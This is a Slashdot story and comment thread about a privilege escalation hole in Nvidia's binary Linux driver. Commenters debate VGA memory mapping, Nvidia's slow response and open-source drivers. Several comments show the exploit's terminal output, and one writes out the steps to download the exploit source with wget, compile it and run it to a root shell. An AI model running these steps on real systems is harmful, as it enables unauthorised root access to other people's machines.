Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
×
Security Linux

Proprietary Nvidia Linux Driver Contains Privilege Escalation Hole 180

An anonymous reader writes "The Nvidia binary driver has been exploited by an anonymous hacker, who reported it to nvidia months ago and it was never fixed. Now the exploit was made public." The one releasing the exploit (relayed to him anonymously) is David Arlie, well known X hacker. The bug lets the attacker write to any part of memory on the system by shifting the VGA window; the attached exploit uses this to attain superuser privileges. It appears that this has been known to Nvidia for at least a month.
This discussion has been archived. No new comments can be posted.

Proprietary Nvidia Linux Driver Contains Privilege Escalation Hole

Comments Filter:
  • by h910 ( 2698573 ) on Wednesday August 01, 2012 @12:32PM (#40844929)
    Use Windows and you don't get linux malware. True story, mod +5 true accordingly.
  • A view to a kill. (Score:2, Interesting)

    by Anonymous Coward

    Shouldn't the VGA window be a window into the video memory, or at least configuration registers?

    • Re:A view to a kill. (Score:5, Informative)

      by greg1104 ( 461138 ) <gsmith@gregsmith.com> on Wednesday August 01, 2012 @12:42PM (#40845101) Homepage

      VGA maps the video card's memory [osdever.net] into the regular CPU address space so that applications can read and write directly to it. That's the VGA window being referenced here. Removing that is further complicated by waiting to retain compatibility with older video standards (CGA, EGA).

      • by causality ( 777677 ) on Wednesday August 01, 2012 @01:13PM (#40845681)
        Removing that is further complicated by waiting to retain compatibility with older video standards (CGA, EGA).

        ... that nobody uses anymore, at least not with PC hardware.
        • Guess what, your computers boots right into 16-color text mode (used by the BIOS and sometimes by Windows as part of the boot sequence) using EGA colors. Not sure if that's relevant but it might be. Linux might also use something similar for its boot process and for Ctrl+Alt+Fn terminals.
          • That used to be true, but I don't think I have owned a computer that didn't boot in VGA in almost 6 years. My latest laptop boots directly into some kind of SVGA and runs the bios in that. I had a screen that couldn't show lowres SVGA for some reason, and it became a bit of problem since the screen was blank until X loaded. I had to change grub to switch to text-mode, atleast that worked, but old text modes are not used by default anymore, not even by Debian.

            • Every SVGA implementation I'm aware of still maps the display buffer into main memory and then has low-level software twiddle the bits manually. Any laptop that doesn't do that I would say isn't even a "PC Compatible" anymore. If it has a BIOS, it almost certainly has memory-mapped I/O into the "VGA window" alluded to here. There might be some UEFI systems that have broken this part. But a company like NVIDIA surely has to still deal with at least bootstrapping BIOS-based system in their driver.

          • by causality ( 777677 ) on Wednesday August 01, 2012 @04:12PM (#40848337)

            Guess what, your computers boots right into 16-color text mode (used by the BIOS and sometimes by Windows as part of the boot sequence) using EGA colors. Not sure if that's relevant but it might be. Linux might also use something similar for its boot process and for Ctrl+Alt+Fn terminals.

            Yes. When it does that, the OS has not yet loaded. Hell, the boot loader (GRUB in my case) has not yet loaded.

            It's obviously implemented in hardware. That means it has nothing to do with the nVidia driver that my OS loads up and whether that nVidia driver supports EGA.

            So okay, I'll rephrase my previous comment from "nobody uses it" to "no one needs the nVidia driver to provide it".

      • Re: (Score:2, Insightful)

        by Anonymous Coward

        Is this due to a very old code base in the windows driver, and the driver code being shared between both linux and windows? Compatibility makes sense if you are running DOS or allowing DOS apps to function (or maybe 16-bit windows). But I very much doubt Monochrome, CGA, EGA, and some of the old VGA standard works at all in modern windows, and definitely not in linux.

        This should never have been exposed to the user in linux and hopefully not in windows either. And if compatibility is a concern, then it shoul

        • Re: (Score:3, Informative)

          by Desler ( 1608317 )

          Windows 7 still includes a VGA video driver.

          • by rjr162 ( 69736 )

            That it does. Reimaged a dell e6240 laptop using IBM's tavoli system manager the other week, and it apparently failed at some point. Everything installed and worked except the one video driver.
            These laptops can use the built in intel video for battery savings and switch over to a build in nvidia "card" when more grunt is needed. The issue was the laptop wouldn't output video to an external monitor. I checked in device manager and the nvidia card was listed as it should be, but the intel video was listed as

        • Users wanting monochrome/CGA/EGA could just use nouveau, the only reason to use the nvidia binary blob is to support 2D/3D acceleration.

        • by greg1104 ( 461138 ) <gsmith@gregsmith.com> on Wednesday August 01, 2012 @02:28PM (#40846931) Homepage

          VGA works fine in Windows and in Linux. See Linux framebuffer [wikipedia.org] as a relatively modern implementation. (I say relatively modern because I'd been using Linux for a long time before it was added, and it's new compared to things like X-Windows) PC hardware is certainly not so abstracted away by useful APIs that the drivers can ignore this level of detail, to be protected from them. Manipulating this sort of thing is exactly what a driver is written to do.

          Your suggestion that this shouldn't have been exposed to the user is missing the point: this is an exploit. The driver itself needs to know all these details to properly initialize itself and support old-school text/VGA modes during boot. The user was likely never intended to have access to them, but an exploit isn't limited to what the user is supposed to do. Whether or not the path is protected or not is irrelevant if the path is bypassed.

      • Re:A view to a kill. (Score:4, Interesting)

        by MightyMartian ( 840721 ) on Wednesday August 01, 2012 @01:51PM (#40846311) Journal

        So how does Windows deal with restricting where this window can be remapped?

      • But do we really need this backwards compatibility? Look at the supported video cards; does anyone that uses those cards need compatibility with that? The driver also required a relatively recent kernel; so again, is this compatibility required?

        I'm not trying to be ironic, I'm legitimately in doubt here.

        • If you want to be able to switch from the video mode the system boots in, which is certainly some sort of memory-mapped VGA-era thing, into the fancier modes, the driver needs to worry about this. The fact that it doesn't likely do very much at all with the VGA memory before moving into something else is probably why the code is buggy; presumably it's not like they ever review this part of it anymore.

      • Older video standards have been banned ever since KMS depended on FBCON in the kernel.

      • by sjames ( 1099 )

        There is no need whatsoever to remove that. There IS a need for the driver to not allow mmaping any other arbitrary memory range into a userspace app andto properly control access to the video memory.

  • Hoooo boy... (Score:5, Interesting)

    by Tarlus ( 1000874 ) on Wednesday August 01, 2012 @12:37PM (#40845025)

    With all the recent controversy and Linus and other members of the FOSS community flipping Nvidia the bird over the issue of keeping their driver closed, they're certainly going to take this news and run with it.

  • by Nerdfest ( 867930 ) on Wednesday August 01, 2012 @12:38PM (#40845027)

    I'd like to say that this would not have happened with an open source driver, but that's not necessarily true. It would almost definitely have been patched by now though.

    • It could have happened, and most probably would have happened at some point, but might have been spotted sooner, and would have been fixed long ago now.
      Plus, I'm sure there's plenty of other bugs/exploits we still haven't even discovered.

    • I'd like to say that this would not have happened with an open source driver, but that's not necessarily true. It would almost definitely have been patched by now though.

      Sure, it's be patched, and you could probably apply the patch locally, but it wouldn't be in the official repository yet. And then you get to wait for the review process, where someone tells you how they would have done it differently, if they only had the time or the interest, but since you didn't do it that way, you need to rewrite your patch. This is pretty much true of most Open Source communities, which tend not to take rough consensus and working code, and then clean up the cosmetic stuff later.

      Then

      • In most Open Source communities, this whole thing can take months.

        Go ahead and look up a bug report for any recent vulnerability in a major linux distribution and you'll see this isn't true. Most critical security bugs get pushed to stable within a few days, perhaps a week, of being publically announced.

        Now, it is true that often they sit on private disclosure bugs until a CVE or public exploit is made available. That's poor resource allocatio, IMO, but fixes for wild exploits simply aren't something that

    • by makomk ( 752139 )

      It wouldn't have happened with an open source driver because Linus wouldn't have allowed such a foolish feature into the kernel. The open source drivers have quite complicated - and unfortunately somewhat performance-sapping - in-kernel checks on any interaction with the GPUs in order to stop attackers from doing exactly this kind of thing.

  • Nvidia are just serial fuckups. Wasted half my saturday trying to find a driver release that would work on my wifes Kubuntu 11 PC. Eventually gave in and upgraded to 12.04 instead of manually erasing the broken install yet again... to find another fscking broken driver and no X. These idiots are completely incompetent and simply don't respond to error reports or much of anything else from ordinary users.

    Nvidia, still haven't forgotten all the accelerated functions in your chipsets that gradually got turned

    • Frankly a root exploit is one of their lesser sins.

      Then their cardinal sins must be Hitlerian; (from David Arlie's write-up)

      It basically abuses the fact that the /dev/nvidia0 device accept changes to the VGA window and moves the window around until it can read/write to somewhere useful in physical RAM, then it just does an priv escalation by writing directly to kernel memory.

      It doesn't take a lot of thought to understand the implications of the hole. And smacks of pure lazyness on the part of nVidia.

      • by Jerry Atrick ( 2461566 ) on Wednesday August 01, 2012 @01:37PM (#40846071)

        Frankly a root exploit is one of their lesser sins.

        Then their cardinal sins must be Hitlerian; (from David Arlie's write-up)

        You forget the episodes like their broken hardware accelerated NIC, that dropped random bits.

        First the spent months claiming there was no bug.
        Then they spent months claiming they'd fixed it (they hadn't).
        Then they claimed they'd fixed it when they'd actually just disabled the acceleration and fallen back to software!

        Over a year of data loss for anyone that believed them.

        Same thing happened with their attempt at accelerated sound hardware. And pretty much everything else they've tried accelerating apart from GPUs. GPUs have a whole different class of problems to do with not listening to feedback.

        • by gl4ss ( 559668 )

          haha, that's a fucking classic.

          makes me laugh almost as hard as believing that I'd get video decoding support in gpu when I bought a gf 6800 back in the day(you know, because it said so on the box). "In late 2005, an update to Nvidia's website finally confirmed what had long been suspected by the user community: WMV-acceleration is not available on the AGP 6800. Of course, today's standard computers are fast enough to play WMV9 video and other sophisticated codecs like MPEG-4, H.264 or Theora without hardwa

        • by Carewolf ( 581105 ) on Wednesday August 01, 2012 @04:22PM (#40848465) Homepage

          I think they might have a culture of not listening. The chief maintainer of nvidia's official forums, posted after Linus outburst a series of post about how Linus complaints had cause "him and his family severe grief", and that Linus should shut up, and would not be welcome on the forum, and that anybody talking about his comments would be banned.

          Jesus christ, that guy needs serious help, but it might be an institutional problem. Maybe they are taught that any complaints about Nvidia are actually mortal stains on their honour as employees of Nvidia??

      • by fuzzyfuzzyfungus ( 1223518 ) on Wednesday August 01, 2012 @01:39PM (#40846107) Journal

        Somebody should probably tell Nvidia that a driver that enables arbitrary memory read/write could probably be used as a DRM circumvention mechanism if targeted at a 'protected' program rather than the kernel. That might actually get them to fix it...

        • by Rich0 ( 548339 )

          A new ultra-critical patch to the Nvidia drivers has been installed (no, we didn't ask you about it first).

          We fixed a serious security problem, and now the system will ensure that access to memory in multimedia and copy-protected applications cannot be circumvented. Such access is limited to less critical data such as credit card and banking data, the password database, and kernel memory in general (for areas that do not handle media pathways).

          • Unlikely in their Linux driver and I'm not sure how the 'Protected Media Path' is doing in Win7; but in Vista's PMP implementation [microsoft.com] a driver bug of this flavor(especially in the GPU, since that needs to enforce OPM restrictions) could theoretically lead to cryptographic revocation of the driver...

            "If a trusted component in the PE becomes compromised, after due process it will be revoked. However, Microsoft provides a renewal mechanism to install a newer trusted version of the component when one becomes avail

    • by Fwipp ( 1473271 )

      I recommend booting from a LiveCD before installing so you can see if the drivers work.

    • In your particular case, the issue is Ubuntu, that does not ship the driver properly, or have any simple way of installing it, and not Nvidia. You'd better use a distro that actually supports it, or use hardware(and driver) your distro completely supports.

    • Who the FUCK modded you Insightful?

      Sonovabitch why to the retards ALWAYS come out the one day I don't have mod points?

  • works here (Score:5, Informative)

    by Anonymous Coward on Wednesday August 01, 2012 @12:50PM (#40845239)

    It's certainly legit..

    c@v:~$
    c@v:~$ wget http://cache.gmane.org//gmane/comp/security/full-disclosure/86747-001.bin ...
    2012-08-01 12:46:13 (60.8 KB/s) - `86747-001.bin' saved [18225/18225] ...
    c@v:~$ mv 86747-001.bin nvid-root.c
    c@v:~$ gcc nvid-root.c -o nvid-root
    c@v:~$ ./nvid-root
    [*] IDT offset at 0xc1808000
    [*] Abusing nVidia...
    [*] CVE-2012-YYYY
    [*] 32-bits Kernel found at ofs 0
    [*] Using IDT entry: 220 (0xc18086e0)
    [*] Enhancing gate entry...
    [*] Triggering payload...
    [*] Hiding evidence...
    [*] Have root, will travel..
    sh-4.2#
    sh-4.2#

    sh-4.2# id
    uid=0(root) gid=0(root) groups=0(root),4(adm),6(disk),20(dialout),24(cdrom),29(audio),44(video),46(plugdev),104(fuse),105(lpadmin),115(admin),116(sambashare),119(pulse-access),1000(chad)
    sh-4.2#

    sh-4.2# lsb_release -a
    LSB Version: core-2.0-ia32:core-2.0-noarch:core-3.0-ia32:core-3.0-noarch:core-3.1-ia32:core-3.1-noarch:core-3.2-ia32:core-3.2-noarch:core-4.0-ia32:core-4.0-noarch
    Distributor ID: Ubuntu
    Description: Ubuntu 12.04 LTS
    Release: 12.04
    Codename: precise

    sh-4.2# uname -a
    Linux vero 3.2.0-24-generic-pae #39-Ubuntu SMP Mon May 21 18:54:21 UTC 2012 i686 i686 i386 GNU/Linux
    sh-4.2#

    • Re:works here (Score:5, Informative)

      by dmitrygr ( 736758 ) <dmitrygr@gmail.com> on Wednesday August 01, 2012 @01:14PM (#40845707) Homepage
      64-bit 2.6.38.8 kernel with nvidia driver 280.13 doesn't work:

      [*] IDT offset at 0xffffffff81b60000
      [*] Abusing nVidia...
      [*] CVE-2012-YYYY
      [*] 64-bits Kernel found at ofs 0
      [*] Using IDT entry: 220 (0xffffffff81b60dc0)
      [*] Enhancing gate entry...
      [*] Triggering payload...
      [*] Hiding evidence...
      callsetroot returned fffffffffffffffe (-2)
      [*] Failed to get root.

    • Re:works here (Score:4, Interesting)

      by Ken_g6 ( 775014 ) on Wednesday August 01, 2012 @01:40PM (#40846123)

      Doesn't work for me on Linux Mint Debian Edition with Xfce, nVidia driver version x86_64-290.10:

      uname -a | sed -e 's/^[^0-9]*//'
      3.2.0-2-amd64 #1 SMP Sun Mar 4 22:48:17 UTC 2012 x86_64 GNU/Linux

      lsb_release -a
      LSB Version: core-2.0-amd64:core-2.0-noarch:core-3.0-amd64:core-3.0-noarch:core-3.1-amd64:core-3.1-noarch:core-3.2-amd64:core-3.2-noarch
      Distributor ID: LinuxMint
      Description: Linux Mint Xfce Edition
      Release: 1
      Codename: debian

      ./nvid-root
      [*] IDT offset at 0xffffffff8172a000
      [*] Abusing nVidia...
      [*] CVE-2012-YYYY
      [*] 64-bits Kernel found at ofs 0
      [*] Using IDT entry: 220 (0xffffffff8172adc0)
      [*] Enhancing gate entry...
      [*] Triggering payload...
      Killed

      Message from syslogd@qcomp at Aug 1 12:30:52 ...
        kernel:[148805.500504] Oops: 0000 [#1] SMP

      Message from syslogd@qcomp at Aug 1 12:30:52 ...
        kernel:[148805.500641] Stack:

      Message from syslogd@qcomp at Aug 1 12:30:52 ...
        kernel:[148805.500658] Call Trace:

      Message from syslogd@qcomp at Aug 1 12:30:52 ...
        kernel:[148805.500675] Code: Bad RIP value.

      Message from syslogd@qcomp at Aug 1 12:30:52 ...
        kernel:[148805.500684] CR2: ffffffff81a00000

    • One wonders if its possible to block this with SELinux.

      • Re: (Score:3, Insightful)

        by fnj ( 64210 )

        Why not; SELinux certainly has no problem blocking anything useful from working.

      • by sjames ( 1099 )

        Only if you use it to deny all access to the device. But you can do that with rmmod too.

    • Didn't work on either 32 bit gentoo machines of mine. One with an old card that requires nvidia-drivers-96.43.20: ./nvid-root
      [*] IDT offset at 0xc13fe000
      [*] Abusing nVidia...
      (just ended there)...and one with nvidia-drivers-295.49: ./nvid-root
      [*] IDT offset at 0xc13d4000
      [*] Abusing nVidia...
      [*] CVE-2012-YYYY
      [*] 32-bits Kernel found at ofs 0
      [*] Using IDT entry: 220 (0xc13d46e0)
      [*] Enhancing gate entry...
      [*] Triggering payload...
      [*] Hiding evidence...
      callsetroot returned fffffffb (-5)
      [*] Failed to get root.

    • Worked on mine with a custom 3.4 kernel (on AMD64) and with Nvidia 304.22. I'm going to upgrade to 3.5 and see if that makes any difference. Unsurprisingly, but annoyingly, it's knackered VGA mode so I can't switch back to the VTs.

  • Good thing all the outside the box type virus writers are busy writing malware for Macs so they don't have time to focus on Linux lol.
  • meh (Score:5, Interesting)

    by ThorGod ( 456163 ) on Wednesday August 01, 2012 @01:11PM (#40845659) Journal

    Not too long ago Intel had a firmware exploit in their processors.

    I still appreciate the effort Nvidia's made to support their cards on OSes such as linux and BSD over the years. I'll still only EVER buy nvidia cards because of their driver support.

    Here's hoping they keep trucking along at it, even with what Linus' said and now this.

    • I bought one Nvidia card because of their wonderful Linux support. I'll never buy another.

    • Um... Intel...? Just sayin', nVidia isn't your only choice for Linux support.
      • Okay, Intel makes drivers. What they don't make is video cards that work worth a damn.

        He meant to say, "of the video cards that can play games with decent frame rates, NVidia has the best drivers on Linux."

  • One of many (Score:5, Insightful)

    by jandrese ( 485 ) <kensama@vt.edu> on Wednesday August 01, 2012 @01:32PM (#40845991) Homepage Journal
    The graphics driver is both monstrously large and operates at a very low level, there are going to be tons and tons of security problems with it when people start seriously looking at it. As John Carmak put it: I agree with Microsoft’s assessment that WebGL is a severe security risk. The gfx driver culture is not the culture of security.
  • It appears that this has been known to Nvidia for at least a month.

    At normal software companies this would probably go through a process like:
    1) Confirmation of the problem
    2) Determine severity
    3) Assign a release to fix it by
    4) Have someone fix it
    5) Verify the fix
    6) Ship it with the next release
    In addition, one may want to look around for related problems and fix those too. Since it is a security issue, I would hope that a fix makes it into the next driver release AFTER the one that is in process. O

    • The process you describe can be done in a week, it sure doesn't take a month

      Nvidia has released on a week's notice in the past.

    • Yeah, one month can be pretty short notice to actually fix, test, and release some more complicated bugs. But in this cas,e Nvidia never even responded to people who notified them of the exploit. If I reported a security hole and they acknowledged it and let me know the were working on fixing it, then I would give them far more than a month to fix it. But if they just ignored me, then I'd release it after a month too.

  • by FranTaylor ( 164577 ) on Wednesday August 01, 2012 @03:12PM (#40847521)

    There's plenty of horsepower on the card

    Platform-agnostic api, super-duper-thin wrapper libaries

    It also solves all the whinging about binary blobs

  • Perhaps not entirely coincidentally, "one month" is about the amount of time that nVidia's web forum - comically also the only route for reporting bugs, and found here [nvnews.net] - has been shut down due to a DDoS attack [nvidia.com].

    Probably not the best way to follow up their snippy response to Linus Torvald bashing their Linux support.

Remember the good old days, when CPU was singular?

Working...